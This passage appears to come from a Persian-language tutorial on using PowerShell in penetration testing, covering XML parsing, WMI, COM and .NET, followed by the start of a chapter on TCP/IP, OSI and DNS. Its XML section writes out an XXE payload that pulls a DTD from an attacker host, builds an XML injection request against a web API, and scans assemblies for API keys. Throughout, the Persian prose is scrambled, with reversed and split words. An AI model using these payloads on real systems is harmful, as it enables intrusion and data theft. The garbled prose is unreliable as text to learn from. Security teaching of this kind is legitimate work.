همه کاره    ی سیزبان برنامه نو  کی،  PowerShellشبکه است.    ای  ستم یس   کیها و نقاط ضعف در  یریپذ بیآس 

پذ   لیبه دل  ندوز،یو  ط یمحدر    یبوم و    ونیاتوماس   یهات یقابل  ،یر یانعطاف  فرمت   ییتواناگسترده  با    ی هاتعامل 

جمله   از  داده،  ابزارXMLمختلف  برا  ی ،  ا  گراننفوذتست   ی ارزشمند  در  از    نی است.  استفاده  نحوه  بخش، 

PowerShell  یهاداده   تی ریمد   ی را برا  XML  یی وهایکرد. ما سنار  میخواه  ی نفوذ بررس از تست  یبه عنوان بخش  

  ی برا  XML  پیلودهای   ی و دستکار  XML  ی هاNodeاز    ارزشمند ، استخراج اطلاعات  XML  یهال یفا  ه یمانند تجز 

 داد.  میرا پوشش خواه یشیاهداف آزما

Reading and parsing XML files 

فا  گراننفوذ تست با  م  ریسا  ای  یکربند یپ  یهاداده   یحاو   XML  یهالیاغلب  مواجه  حساس  شوند. ی اطلاعات 

PowerShell  برا  کی ساده  تجز  یراه  و  از    XML  یهالی فا  هی خواندن  استفاده  با    Get-Contentبا  همراه 

Select-Xml  لیفا  کی  د ییایدهد. بی ارائه م  XML  م یبرنامه وب است، بخوان  کی   یکربند یپ  ماتیتنظ  یرا که حاو  

 : می کن ه یو تجز
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$xmlFilePath = "C:\MyData\config.xml" 
$xmlContent = Get-Content -Path $xmlFilePath 
$xmlDoc = [xml]$xmlContent 
$setting1 = $xmlDoc.configuration.setting1 
$setting2 = $xmlDoc.configuration.setting2 
Write-Host "Setting 1: $setting1" 
Write-Host "Setting 2: $setting2" 

ا   xmlFilePath$مشخص شده توسط    XML  لیفا  یخواندن محتوا   ی برا  Get-Contentمثال، ما از    ن یدر 

  XML ی. ش میفرستاد XML یش  کی[ به  xml. سپس محتوا را با استفاده از شتاب دهنده نوع ]میکنی استفاده م

  ی دسترس   XMLدر    ی فرد  یهای ژگیدهد تا به عناصر و وی شود، به ما اجازه می نشان داده م  xmlDoc$که با  

 . میداشته باش 

Extracting Information from XML Nodes 

را    ییهاراه   PowerShellهستند.    ی ژگیو و  Node  ن یتودرتو با چند   یاغلب شامل ساختارها  XML  یهالیفا

  ی اطلاعات  د یدهد. اجازه ده ی و استخراج اطلاعات ارزشمند ارائه م  ی سلسله مراتب یساختارها ن یدر ا ش یمایپ یبرا

 .  می کن ج مربوط به کارمندان است استخرا یهاداده  یکه حاو  XML  لیفا ک یرا از 

 :میکن  ف یرا تعر ریز  XML د ییایب

<employees> 
       <employee id="1"> 
               <name>Andrew Blyth</name> 
               <age>57</age> 
               <position>Manager</position> 
        </employee> 
</employees> 

 

 

 

 



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

 : میکن  جادی پردازش آن ا ی را برا ری ز PowerShell م یتوانی م م، یکرد فیرا تعر یقبل XMLکه  یهنگام

$xmlFilePath = "C:\MyData\employees.xml" 
$xmlContent = Get-Content -Path $xmlFilePath 
$xmlDoc = [xml]$xmlContent 
$employees = $xmlDoc.employees.employee 
foreach ($employee in $employees) { 
      $id = $employee.id 
      $name = $employee.name 
      $age = $employee.age 
      $position = $employee.position 
      Write-Host "Employee ID: $id" 
      Write-Host "Name: $name" 
      Write-Host "Age: $age" 
      Write-Host "Position: $position" 
      Write-Host "" 
} 

  employees. سپس به گره  میکنی م  ه یخوانده و تجز  ی را با استفاده از روش قبل  XML  لیمثال، ما فا  نیدر ا

. در  میکنی را تکرار م  employeeهر گره    قی، از طرforeachحلقه    کیو با استفاده از   میکنی م  دایپ  یدسترس 

 .میدهی م  شیرا از هر گره استخراج کرده و نما تیمانند شناسه کارمند، نام، سن و موقع یداخل حلقه، اطلاعات

Modifying XML Data 

نفوذگران ن  تست  آزما  یخاص  یوهایدر سنار  XML  یهابه اصلاح داده   ازیممکن است  مانند  باشند،    ش یداشته 

  مات یتنظ  ی را که حاو  XML  ل یفا  ک ی  د ییای. بیتیامن  یهادور زدن کنترل   ا ی  یورود   یاعتبارسنج  یهایریپذ بیآس 

 .  میکن  رهیذخ ل یبه روز شده را در فا XMLو    میده  ریی کاربر است تغ
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 :میکن  ف یرا تعر ریز  XML د ییایب

<userSettings> 
      <setting name="theme" value="dark" /> 
      <setting name="language" value="en-US" /> 
</userSettings> 

 : میکن  جادی پردازش آن ا ی را برا ری ز PowerShell م یتوانی م م، یکرد فیرا تعر یقبل XMLکه  یهنگام

$xmlFilePath = "C:\MyData\settings.xml" 
$xmlContent = Get-Content -Path $xmlFilePath 
$xmlDoc = [xml]$xmlContent 
$xmlDoc.userSettings.setting | Where-Object { $_.name -eq "theme" } | 
ForEach-Object { 
      $_.value = "light"} 
$xmlDoc.Save($xmlFilePath) 

  ی برا  Where-Object cmdlet. سپس از  میکنی م  ه ی و تجز  میخوانی را مانند قبل م   XML  لیمثال، فا  ن یدر ا

  themeرا با نام    م یکه تنظ  ی . هنگاممیکنی استفاده م   name  ی ژگیبر اساس و  ماتی تنظ  یهاNodeکردن    لتریف

به روز شده    XML رهیذخ یبرا  Save متد از    تی. در نهامیدهی م   رییتغ   lightمقدار آن را به   یژگیو  م، یکرد  دایپ

 .میکنی استفاده م  ل یدر فا

Crafting XML Payloads 

  ق یمانند تزر  XMLبر    یمبتن  یهایریپذ ب یآس   شیآزما  ی برا  ی سفارش   XML  پیلودهای نفوذ، ساخت  در طول تست 

XML External Entity (XXE)  ب است.  برا   ک ی  ش یآزما  ی برا  XML  پیلود   ک ی  د ییایمعمول    ی برنامه 

 : میکن جاد یا XXE یهایریپذ بیآس 
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$payload = @" 
<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> 
%remote; 
]> 
<root> 
      <data>Confidential information</data> 
</root> 
"@ 
# Save the payload to a file 
$payloadFilePath = "C:\MyData\payload.xml" 
$payload | Out-File -FilePath $payloadFilePath 

 Document  لیفا  کیکه    میکنی م  فیتعر  یخارج  تی اعلان موجود  کی  یحاو  XML  پیلود  کیمثال، ما    نیدر ا

Type Definition    یاDTD  یمعمول   پیلود  کی  نیکند. ای م ی را از سرور مهاجم واکش  XXE    پیلود است. سپس  

 استفاده شود. XXE یهایریپذ بی آس  شیآزما یتواند برای که م  میکنی م  رهیذخ  یلیرا در فا

XML Injection Testing 

برنامه   گراننفوذ تست برا  یکاربرد   یهااغلب  را  از  ی م   شیآزما  XML  قیتزر  یهایریپذ بیآس   ی وب  کنند. 

PowerShell   پیلودهای  قی و تزر  جادیا  ی برا  توانی م  XML  یهاسم یمکان  ی ابیارز  یبرا  یورود   ی لدهایمخرب به ف 

 برنامه استفاده کرد.   XMLو اعتبار  ه یتجز
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 : میکن شیبرنامه وب آزما کیرا در  XML ق یتزر یهایریپذ ب یتا آس  م یکن  جادیا XMLمخرب   پیلود کی د ییایب

$maliciousPayload = @" 
<root> 
      <data> 
             <name>John Smith</name> 
             <age>30</age> 
             <!-- XXE injection payload goes here --> 
       </data> 
</root>"@ 
$injectionPoint = "http://snowcapcyber.com/api/data?xml=" + [System. 
Web.HttpUtility]::UrlEncode($maliciousPayload) 

. سپس  میکنی م جاد یدر داخل عنصر داده ا XXE  قیتزر  پیلود  ک ی ی مخرب حاو XML  پیلود ک یمثال، ما  ن یدر ا

تا    میکنی م  قیبرنامه وب تزر  کیشود(  ی نشان داده م   injectionPoint$)که با    یورود   لد یف  ک یرا به    پیلود  نیا

 . ریخ ایاست  ریپذ ب یآس  XXEبرنامه در برابر حملات  ایکه آ  می کن شیآزما

COM, WMI, and .NET in PowerShell 

PowerShellقابل فناور   یی گسترده و توانا  ون یاتوماس   یهات ی،  با  و    COM  ،WMIمختلف مانند    یهای تعامل 

.NET ، کند فراهم می  ت نفوذگرانتس ی برا را . 

Using WMI for System Information Gathering 

WMI  و  ت یریمد   ی فناور  ک ی در  شده   ندوز یقدرتمند  استاندارد  راه  که  برا  یااست  اطلاعات    یدسترس   یرا  به 

را    WMI  یهاتا داده   دهد ی اجازه م   گراننفوذ   به تست   PowerShellکند.  ی و کنترل فراهم م  یکربند یپ  ستم،یس 

 هدف جستجو کنند.   ستمیاطلاعات ارزشمند در مورد س  ی آورجمع  یبرا
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نصب شده در دستگاه مورد    ی نرم افزارها  ستیل  یابیباز  ی برا   WMIپرس و جو از    یبرا  PowerShellاز    د ییایب

 : مینظر استفاده کن

$softwareList = Get-WmiObject -Class Win32_Product | Select-Object 
-Property Name, Vendor, Version 
foreach ($software in $softwareList) { 
      Write-Host "Name: $($software.Name)" 
      Write-Host "Vendor: $($software.Vendor)" 
      Write-Host "Version: $($software.Version)" 
      Write-Host "" } 

که نشان    م یکنی استفاده م  Win32_Productجستجو در کلاس    یبرا    Get-WmiObjectمثال، ما از    نیدر ا

را    Versionو    Name  ،Vendorمانند    یخاص  یهایژگ یاست. سپس و  ستمیس   یدهنده نرم افزار نصب شده رو 

 . میدهی م شینما ی انتخاب کرده و اطلاعات را در خروج

Querying WMI for Network Information 

  PowerShellهدف دارند.    ستمیشبکه س   یکربند یاطلاعات در مورد پ  یبه جمع آور   ازیاغلب ن  گران تست نفوذ

  ی برا   PowerShellاز    د ییایمربوط به شبکه پرس و جو کند. ب  یهابه دست آوردن داده   ی را برا  WMIتواند  ی م

 :میشبکه استفاده کن کارتاطلاعات  ی برا WMIپرس و جو از  

$networkAdapters = Get-WmiObject -Class Win32_ 
NetworkAdapterConfiguration | Where-Object { $_.IPAddress -ne $null } 
foreach ($adapter in $networkAdapters) { 
      Write-Host "Adapter Description: $($adapter.Description)" 
      Write-Host "IP Address: $($adapter.IPAddress[0])" 
      Write-Host "MAC Address: $($adapter.MACAddress)" 
      Write-Host ""} 

ا از    نیدر  ما  کلاس    ی برا  Get-WmiObjectمثال،  از  جو  و  پرس 

Win32_NetworkAdapterConfiguration  م تنظ  میکنی استفاده  دهنده  نشان  شبکه    کارت  ماتیکه 

 IPAddress -ne._$)  میرا حذف کن  IPبدون آدرس    هایکارت تا    میکن ی م  لتریرا ف  جیاست. ما نتا

$nullتوض سپس  شبکه  حاتی (.  آدرس    IPآدرس    ،کارت  برا  MACو  نما  کارتهر    ی را    ش یشبکه 

 .میدهی م



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

Interacting with COM Objects 

COM  اجزا  کروسافتیما  ی فناور   ک ی به  که  با    ی است  تعامل  و  ارتباط  امکان  افزار  م  گریکد ینرم  دهد.  ی را 

PowerShell   اءیبه اش   یدسترس  COM  یدهد تا با اجزای اجازه م  گر نفوذتست کند و به  ی را فراهم م  COM  ی برا  

  COM  ی ش   کی   جادیا  یبرا   PowerShellاز    د ییایها استفاده کنند. باهداف مختلف تعامل داشته باشند و از آن 

 : میاکسل استفاده کن  یهال یفا ی دستکار یبرا

$excel = New-Object -ComObject Excel.Application 
$workbook = $excel.Workbooks.Add() 
$sheet = $workbook.Worksheets.Item(1) 
$sheet.Cells.Item(1,1) = "Name" 
$sheet.Cells.Item(1,2) = "Age" 
$sheet.Cells.Item(2,1) = "John Doe" 
$sheet.Cells.Item(2,2) = 30 
$excel.Visible = $true 

.  میکنی استفاده م   Excelبرنامه    COM  ء یاز ش   د ینمونه جد   ک ی  جاد یا  ی برا  New-Objectمثال، ما از    ن یدر ا

و برنامه    م یکنی م  می ها تنظرا در سلول   ر یمقاد  م، یکنیم   جاد یا  د یجد   worksheetو    Workbook  ک یسپس  

Excel   م مشاهده  قابل  امیکنی را  م   نی.  اجازه  ما  تا عملی به  کن  اتیدهد  را خودکار  کارها  میاکسل  مانند    ییو 

 . میرا انجام ده یو گزارش ده   یها، دستکاراستخراج داده 

Using .NET for Cryptographic Operations 

PowerShell   یهاتواند از کلاس ی م  نیهمچن  .Net   استفاده    ی مانند هش و رمزگذار  ی رمزنگار  اتیعمل  یبرا

 شود.  ی استفاده م یتیامن یهاکنترل  شیآزما ایها داده  ی ساز منیا ینفوذ براکند که معمولاً در تست 
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 :مین استفاده ک  ل یفا کی  MD5محاسبه هش  ی برا NET.و  PowerShellاز  د یاجازه ده

$filePath = "C:\MyData\file.txt" 
$md5 = New-Object -TypeName System.Security.Cryptography. 
MD5CryptoServiceProvider 
$fileStream = [System.IO.File]::OpenRead($filePath) 
$hash = $md5.ComputeHash($fileStream) 
$fileStream.Close() 
$hashString = [System.BitConverter]::ToString($hash) -replace "-", "" 
Write-Host "MD5 Hash: $hashString" 

ا   System.Security.Cryptography.MD5CryptoServiceProvider.NETمثال، ما از کلاس    نیدر 

هش را محاسبه    م،یکنی باز م  ی نر یرا در حالت با  ل ی. ما فامیکنی استفاده م  ل یفا  کی   MD5محاسبه هش    یبرا

 . میکنی م لیتبد   مالیرشته هگزادس  شیهش را به نما یهات یو با میکنی م

Using .NET for Network Operations 

PowerShell   یهااز کلاس   تواند ی م  .NET  ی نفوذ برامرتبط با شبکه استفاده کند، که در تست   یهااتیعمل  ی برا  

درخواست  ییکارها ارسال  تجزHTTP  یهامانند  با سرو پاسخ  ه ی،  تعامل  و  مف  یهاس یها  ب  د یوب  از    د ییایاست. 

PowerShell    و.NET  درخواست  یبراHTTP GET میکن  اده و پردازش پاسخ استف : 

$url = "https://api.snowcapcyber.com/data" 
$request = [System.Net.WebRequest]::Create($url) 
$response = $request.GetResponse() 
$stream = $response.GetResponseStream() 
$reader = New-Object -TypeName System.IO.StreamReader -ArgumentList 
$stream 
$responseText = $reader.ReadToEnd() 
$reader.Close() 
$response.Close() 
Write-Host "Response Body:" 
Write-Host $responseText 

ا کلاس   نیدر  از  ما  و    System.Net.WebRequest  یهامثال، 

System.IO.StreamReader.NET   درخواست    یبراHTTP GET    بهURL    مشخص شده استفاده

 . میدهی م  شیو نما  میخوانی پاسخ را م ی . سپس محتوامیکنی م
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Analyzing .NET Assemblies for Vulnerabilities 

  یکدها  ای  ی احتمال  یهایریپذ بیآس   یبرا   NET  یهامجموعه   ل یو تحل  ه یتجز  یبرا  توان ی م  PowerShellاز  

اعتبارنامه    ای  APIحساس    ی دهایکل  افتنی  یها را براتواند مجموعه ی م  گر مثال، تست نفوذ  ی مخرب استفاده کرد. برا

اطلاعات   ی و جستجو  NET.ها از مجموعه  استخراج رشته  ی برا PowerShellاز  د یی ایاسکن کند. ب شده  هاردکد 

 : می بالقوه حساس استفاده کن

$assemblyPath = "C:\MyData\Assembly.dll" 
$strings = [System.IO.File]::ReadAllText($assemblyPath) 
# Search for potential sensitive information 
$apiKeyPattern = "API_KEY=[A-Za-z0-9]+" 
$matches = [System.Text.RegularExpressions.Regex]::Matches($strings, 
$apiKeyPattern) 
Write-Host "Potential API Keys found:" 
foreach ($match in $matches) { 
      Write-Host $match.Value } 

.  میخوانی م  ReadAllText::[System.IO.File]را به صورت متن با استفاده از    NET.مثال، کل مجموعه    ن یدر ا

 .میکن ی استفاده م ی بالقوه در اسمبل API  یدهایکل  یجستجو  یسپس از عبارات منظم برا 

PowerShell  پردازش    یابزار ارزشمند برا  کیCOM  ،WMI    و.NET   آن در تعامل    ییتوانانفوذ است.  در تست

مختلف با عملکرد    فیو انجام وظا NET.  یها، استفاده از مجموعه WMI  یها، پرس و جو از داده COM  اءیبا اش 

.NET  هدف به تست    یهاستمیها و نقاط ضعف در س یریپذ بیآس   ییشناسا  ی ها را براتیاز قابل  یاگسترده   فی، ط

 دهد.ی ارائه م گران نفوذ 

آور  از  ستمیاطلاعات س   یاز جمع  استفاده  با  اش   فیوظا  یو خودکارساز WMI و شبکه  تا   COM اءیبا  گرفته 

همه    ی سیزبان برنامه نو  کی    PowerShellمرتبط با شبکه،  ف یو وظا  یرمزنگار  اتیعمل  یبرا   NET.استفاده از  

بالقوه قدرتمند    ی تیخطرات امن  ییجامع و شناسا  یتیامن   یهای ابیانجام ارز  ی برارا    گران کاره است که تست نفوذ 

  گرابزار تست نفوذ   ت ی، کNET.، و  COM  ،WMI  اتیعمل  ی برا  PowerShellدرک نحوه استفاده موثر از  .  کند ی م

 کند.ی را فراهم م یواقع  یایدر برابر حملات دن شتر یب ییبخشد و امکان کارای را بهبود م
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 Network Services and DNS -  فصل سوم
ساده    یبرا  PowerShellو از قدرت    میپردازی م  DNS  تیریخدمات شبکه و مد   دهیچ ی پ  یایفصل، ما به دن  نیدر ا

به  یساز فناور  رساختیز  یاتیح  یهامؤلفه   نیا  یساز  نهیو  م   یمدرن  استفاده  آنجامیکنی اطلاعات  از  که    یی. 

  ت ی از اهم  کپارچهی  اتیعمل  یموثر شبکه برا   ت یریدهند، مد ی خود ادامه م  تال یجید  یها به گسترش ردپاسازمان

 برخوردار است. ییبالا

PowerShell  نظارت و    ،یکربند یمتحد قدرتمند در پ  کیخود، به عنوان    یقو   یسینوپتیاسکر  یهات یبا قابل

  DNS  ،PowerShellسوابق    تیریتا مد   DHCP  ماتی تنظ  ی کربند ی. از پشودی خدمات شبکه ظاهر م   یابیبیع

، سنگ  DNSشبکه را حفظ کنند. کاوش ما به    یی کرده و کارا  خودکار را    ف یتا وظا  دهد ی امکان را م  ن یا  ران یبه مد 

  DNS  ،Resolve  ماتیتنظ  ی دستکار  ی برا  PowerShellما از    رایز  ابد،یی گسترش م  ، ینترنتیارتباطات ا  یبنا

 . میکنی استفاده م Domain Name Resolutions تیاز قابل نانیپرس و جوها و اطمنمودن 

 یعمل  یهاو مثال   یعمل  یهانشیفصل شما را با ب  نیا  د،یباش   یمبتد   ریمد   کی  ایباتجربه    ITمتخصص    کیچه  

  ی شما را برا   یی و توانا  کند ی مجهز م   DNS  ت یریدر خدمات شبکه و مد   PowerShellاستفاده از قدرت    یبرا

 .دهد ی م شی شبکه مدرن افزا یهاط یمح یهای دگ یچیدر پ شیمایپ

 است: ر یفصل به شرح ز  نیا یموضوعات اصل

• Network services 

• DNS and types of DNS queries 

• DNS and PowerShell 

Network services 

 ییهاعنوان چارچوب ها بهمدل  نی. اOSIو مدل    TCP/IP: مدل  شوند ی برجسته م  یشبکه، دو مدل اساس   یا یدر دن

معمولاً    TCP/IP. مدل  کنند ی فعال کردن ارتباطات عمل م   یبرا   ، شبکه با هم  یهادرک نحوه کار پروتکل   یبرا

 . کند ی ارائه م یمرجع مفهوم ک ی OSIکه مدل  ی در حال شود، ی م یسازادهیپ

TCP/IP network services 

TCP/IP   پروتکل  یامجموعه که  از  است  اها  شبکه   نترنتیاساس  تشک  یهاو  را    TCP/IPدهد.  ی م  لیمدرن 

کند. ی م  لیمتصل را تسه  یهادستگاه  نیدهد که ارتباط بی را ارائه م  یمختلف شبکه ضرور  هایسرویس

 : این مدل عبارتند از ی د یکل یهامولفه 
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IP:   یهاآدرس  IP   یهاکند. آدرس ی م  تیها هداداده را در شبکه   یهابسته  IP   ها را به دستگاه  ی فردمنحصربه

با   IPv4هستند.  ه یاول یهانسخه  IPv6و   IPv4.  کند یها عمل م آن  تال یجید  تیو به عنوان هو دهد ی اختصاص م

  IPv6  ی تیب  128آدرس    یخود، به طور گسترده مورد استفاده قرار گرفته است، اما فضا  ی تیب  32آدرس    یفضا

  ی برا   IP  یهاشبکه، از آدرس   یهاکند. روترها، دستگاهی آدرس را برطرف م  کمبودمشکل    بوده و  بزرگتربسیار  

 .دهند ی م نانیها اطممناسب داده   ل یو از تحو کنند ی ها به مقصدشان استفاده مبسته تیهدا

TCP:  ها را به  کند. داده ی م  نیها را تضمدستگاه   نیقابل اعتماد ب  یهاگرا است که انتقال داده پروتکل اتصال  کی

انتقال داده،    دهد ی را اختصاص م  ها  Sequence Number  کند،ی م  میتقس  ی مختلفهابسته از    ک ی و قبل 

م برقرار  مجدد  Acknowledgment.  کند ی اتصال  ارسال  ت داده   ی کپارچگ ی  ،و  را  مکانی م  نیضمها    سمیکند. 

Widowing  در  TCP  کند.  ی مناسب را فراهم م  ی خطا و توال  یابیو امکان باز  نموده   نه یداده را به  انیکنترل جر

و ارتباطات    لیدارد، مانند مرور وب، انتقال فا  تیها اهمدر آن   یکپارچگ یکه دقت و    ییهابرنامه   ی پروتکل برا   نیا

 مهم است. اریبس ل،یمیا

UDP:  انتقال داده   ک ی اتصال است که  اتصال  TCPکند. برخلاف  ی سبک را فراهم م  یهاپروتکل بدون  برقرار  ، 

  VoIPو    یباز  م،یبلادرنگ مانند استر  یهابرنامه   یآن را برا  که   کند ی نم  نیرا تضم  نانیاطم  تیقابل  ای  کند ینم

 .کند ی مناسب م

The IP addresses 

 دهد ی ها امکان م شبکه است که به آن   کی متصل به   یها دستگاه   ی فرد برامنحصربه  ی شناسه عدد   ک ی  IPآدرس 

کند و  ی عمل م  تالیج ید یآدرس پست ک یمانند  IPارتباط برقرار کنند.  گریکد یبا  یشبکه محل  کی ای نترنت یدر ا

 .شوند   تیهدا ح یدهد تا به مقصد صحی داده اجازه م یهابه بسته 

شبکه خاص دستگاه    ،بخش  نی. اولزبانیشده است: آدرس شبکه و آدرس م  ل یتشک  یاز دو جزء اصل   IPآدرس    کی

 کند.یم  ز یرا در آن شبکه متما ی فرد یهادستگاه  ن بخش یکه دوم ی ، در حالنمودهرا مشخص  

IPv4تا   0اند، که هر مجموعه از  اعداد است که با نقطه از هم جدا شده  از   فرمت، شامل چهار مجموعه   ن یترجی، را

  یترگسترده   مالیاز قالب هگزادس   بوده و   دتر یجد ، نسخه  IPv6(.  192.168.1.1است )به عنوان مثال،    ر یمتغ  255

منحصر به    یهااز آدرس   ی نامحدود  باًی رد و عرضه تقشوی م  مشخص با هشت گروه کاراکتر جدا شده با دو نقطه  

 (. 2001:0db8:85a3:0000:0000:8a2e:0370:7334 دهد )به عنوان مثال،ی فرد را ارائه م

که نام دامنه    یدارند. هنگام  ینقش اساس   نترنتیها در سراسر ادر امکان انتقال کارآمد داده   IP  یهاآدرس 

تا  تیساوب   کی به آدرس    DNSسرور    کی  د، یکنی م  پیرا در مرورگر خود  را  تبد   IPآن    ل یمربوطه 
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 یهاات یبه عمل  IP  یهاآدرس   ن، یکند. علاوه بر ا  یابیآن را باز   یکند و محتوا  دایرا پ  تیساکند تا سرور وب ی م

 .کنند ی کمک م یت یاقدامات امن شیشبکه و افزا  ک یتراف تیریها، مد دستگاه  یی مختلف شبکه مانند شناسا

تا ارتباط برقرار    دهد ی ها اجازه ماز ارتباطات شبکه است که به دستگاه  یعنصر اساس   ک ی  IPآدرس    کی در اصل،  

 تبادل کنند. نترنت یا ع یانداز وس در سراسر چشمکنند و اطلاعات را  

The TCP/UDP port numbers 

ها دستگاه   نیو کارآمد ب  افتهیکند و ارتباط سازمان  ی م  فایا  TCP/IPدر مجموعه پروتکل    یشماره پورت نقش مهم

ها به  شماره پورت   شود ویم   می ها تقسها به بسته ، انتقال داده TCP/IPکند. در مدل  ی م  ل یشبکه تسه  قی را از طر

  نانیها اطمکنند. آن ی ها عمل مدستگاه   ی بر رو  جراخاص در حال ا  یهاس یسرو  ای ها  برنامه   ی عنوان شناسه برا

دهند تا به طور  ی اجازه م   سی سرو  نیشوند و به چند ی م  تیهدا  ح یداده به برنامه صح  یهاکنند که بسته ی حاصل م

 دستگاه واحد بدون تداخل کار کنند. ک ی یهمزمان رو 

- 0) 1شناخته شده  یهاشوند: پورتی م ی محدوده طبقه بند   سه هستند که در  یتیب  16 ح یاعداد پورت اعداد صح

پورت 0231 شده  یها(،  پورت 49151-1024)   2ثبت  و  پورت65535-49152)  3ی خصوص  ای  ایپو  یها(    ی ها(. 

  SMTP( و 21  رت)پو  FTP(،  443)پورت    HTTPS(،  80)پورت  HTTPمانند   یپرکاربرد  یهاس یمعروف با سرو

که    یدر حال  رند،یگی مختلف مورد استفاده قرار م  یهابرنامه   یثبت شده برا  یها( مرتبط هستند. پورت25)پورت  

 شوند. ی و سرور استفاده م  یمقاصد موقت مانند ارتباط مشتر  یبرا  ایپو یهاپورت

شماره پورت    کی شماره پورت منبع و    کی شود، دستگاه فرستنده  ی ها ارسال مدستگاه  نیها بکه داده   یهنگام

کدام برنامه    نکه یا  نییکننده را در تع   افتیکند. شماره پورت مقصد دستگاه در ی مقصد را به هر بسته داده متصل م

امکان  به دستگاه   ،دو پورت  زم یمکان  نی. اند کی م   ییکند، راهنما  تیریرا مد   ی ورود  یهاداده   د یبا  س یسرو  ای ها 

  ح یها به مقصد صححاصل شود که داده  نانیارتباط مداوم را به طور همزمان حفظ کنند و اطم نیتا چند  دهد ی م

 . رسند ی م

کند، دستگاه او با  ی م دایپ  ی دسترس   تیوب سا ک یکه کاربر با استفاده از مرورگر خود به   ی به عنوان مثال، هنگام

کند. وب سرور  ی سرور وب ارسال م  IPرا به آدرس    ی، درخواست 80، معمولاً در پورت  HTTPاستفاده از پروتکل  

  نیفرستد. ای م  سدهد و آن را به پورت منبع در دستگاه کاربر پیپاسخ م  یدرخواست  ی به نوبه خود با محتوا  زین

 شود.ی هماهنگ م ارتباط دو طرفه با استفاده از شماره پورت 

 
1 well-known 
2 registered 
3 dynamic or private 
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The OSI stack 

  ف یوظا  ک یکند که هر  ی م  ی مجزا دسته بند   ه یاست که توابع شبکه را در هفت لا  یچارچوب مفهوم  کی   OSIمدل  

مستق  یخاص اگرچه  دارند.  عهده  بر  راهنما  یسازاده یپ  ماًیرا  عنوان  به  اما  است،  کار    ی برا  یینشده  نحوه  درک 

 آورده شده است: OSI  ی ها هیاز لا  ی کل  ینما ک ی نجای. در اکند ی ها با هم عمل مپروتکل 

Physical layer  :یهاگنالیس   ایها  مانند کابل  ی کیزیرسانه ف  ک ی  قیخام از طر  یهات یب  یکیزی با انتقال ف  ه یلا  نیا  

 کند.ی م فی مانند سطوح ولتاژ، نرخ داده و مشخصات کابل را تعر ییهای ژگ یسروکار دارد. و میس یب

Data link layer:  ه ی لا  نیمسئول ارتباطات نقطه به نقطه و نقطه به چند نقطه قابل اعتماد است. الایه    ن یا  

  ک یها را در  داده   یکپارچگ ی  لایه   ن یکند. ای م  تیریرا مد   ان یخطا و کنترل جر  صی ها، تشخداده   یچارچوب بند 

 کند.یم  ن یتضم ی بخش شبکه محل

Network layer: و خاتمه اتصالات   ینگهدار جاد، یمتمرکز است. ا ی منطق  یو آدرس ده  ی ابیریبر مس ه یلا ن یا

 است.  یابیریمس یهاو پروتکل  IP  یشامل آدرس ده  نیدهد. ای مختلف را انجام م  یهاها در شبکه دستگاه  نیب

Transport layer:    مانندTCP    وUDP TCP/IPکند. ی م   نیرا تضم  یارتباط سرتاسر  نانیاطم  تیقابل  هیلا  نی، ا

 کند.ی م نه یها را بهداده   انیکند و جری م تی ریخطا را مد  یابیها، مونتاژ مجدد و بازداده  ی بخش بند 

Session layer :  هماهنگ    نیکند. همچن یم   تیریها را مد برنامه   ن یو خاتمه ب  یاستقرار جلسه، نگهدار  ه ی لا  نیا

 دهد.ی ها را انجام منتی ها و چک پوداده  یساز

Presentation layer:  ن یها را بر عهده دارد. افرمت داده   یو فشرده ساز  یترجمه، رمزگذار  فه ی وظ  هیلا  نی ا  

 توانند درک کنند. یها ماست که آن  ی ها در قالببرنامه  نیرد و بدل شده ب یهاکند که داده ی م ن یتضم هیلا

Application layer:  خاص    یهاس یها و سروپروتکل  زبانی است، م  ییبه کاربران نها  نیترک یکه نزد   هیلا  ن یا

 کند.ی ها را فراهم مکاربران و برنامه  ن یب می امکان تعامل مستق نیاست. ا SMTPو    HTTP ،FTPبرنامه مانند 

  ی عمل   ی ساز  ادهیدرک شبکه و ارتباطات هستند. پ  یبرا  یضرور   یهاچارچوب   OSIو پشته    TCP/IP  جه، ی در نت

TCP/IP  که مدل    ی کند، در حالی م  تیمدرن را تقو  نترنتیاOSI  ینحوه سازمانده  یبرا   ینقشه راه مفهوم  کی 

  ی را در سراسر شبکه جهان  خدماتو اساس تبادل اطلاعات و    هیها با هم پادهد. آنی شبکه ارائه م  یعملکردها

 کنند.ی فراهم م 
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DNS and types of DNS queries 

DNS   یهاقابل خواندن توسط انسان را به آدرس   یهااست که نام دامنه   یاتیشبکه ح   سیسرو  کی  IP  ی عدد  

به    ن یدهد. ای را م  نترنتی ها، خدمات و منابع موجود در ات یبه وب سا  ی کند و به کاربران امکان دسترس ی ترجمه م

 Domain Nameکنند تا  ی هم کار م   باکند که  ی شده از سرورها عمل م  عیتوز  یسلسله مراتب  ستمیس   کیعنوان  

Resolution    و کارآمد ارائه دهند.    کپارچهیراDNS  ن یآنلا  ی ایکاربر پسند در دن  یناوبر   نیدر تضم  یاتینقش ح  

 کند.ی م فایا

DNS overview 

DNS  برا تلفن  دفترچه  عنوان  م   نترنت یا  ی به  هنگامیعمل  مانند    ک یکه    ی کند.  دامنه   .wwwنام 

snowcapcyber.com   ،در مرورگر وب شماDNS   آن را به آدرسIP    ،( که مربوط  192.0.2.1)به عنوان مثال

م سرور  وب  م   زبان یبه  ترجمه  است،  ای محتوا  ضرور  ند یفرآ  نیکند.  ز   ی ترجمه  از  انه یرا  رایاست  استفاده  با  ها 

  ی نقشه بردار   نیاز ا  یادامنه کاربر پسندتر هستند. نمونه   یهاکه نام   یکنند، در حالیارتباط برقرار م   IP  یهاآدرس 

 است. IP 18.193.36.153آدرس   یدارا   www.snowcapcyber.comاست:  ر یبه شرح ز

DNS  سطوح شامل موارد    نیکند. ای اند عمل مده ش   ی از سرورها که به سطوح طبقه بند   یسلسله مراتب   قیاز طر

 است: ریز

Root domain servers:  یهاسرورها اطلاعات مربوط به دامنه   نیا  ( سطح بالاTLD  مانند ).com  ،.org    و

.net ی ها به سرورهاکنند. آنی م  یرا نگهدار TLD دهند.ی ارجاع م 

TLD servers:  مربوط به    یهاسرورها درخواست  نیاTLD  خاص، مانند    یها.com  ا ی  .org   کنند.  ی م  یدگیرا رس

 کنند.ی م تیسطح دوم هدا یهانام معتبر مسئول دامنه  یها پرس و جوها را به سرورهاآن

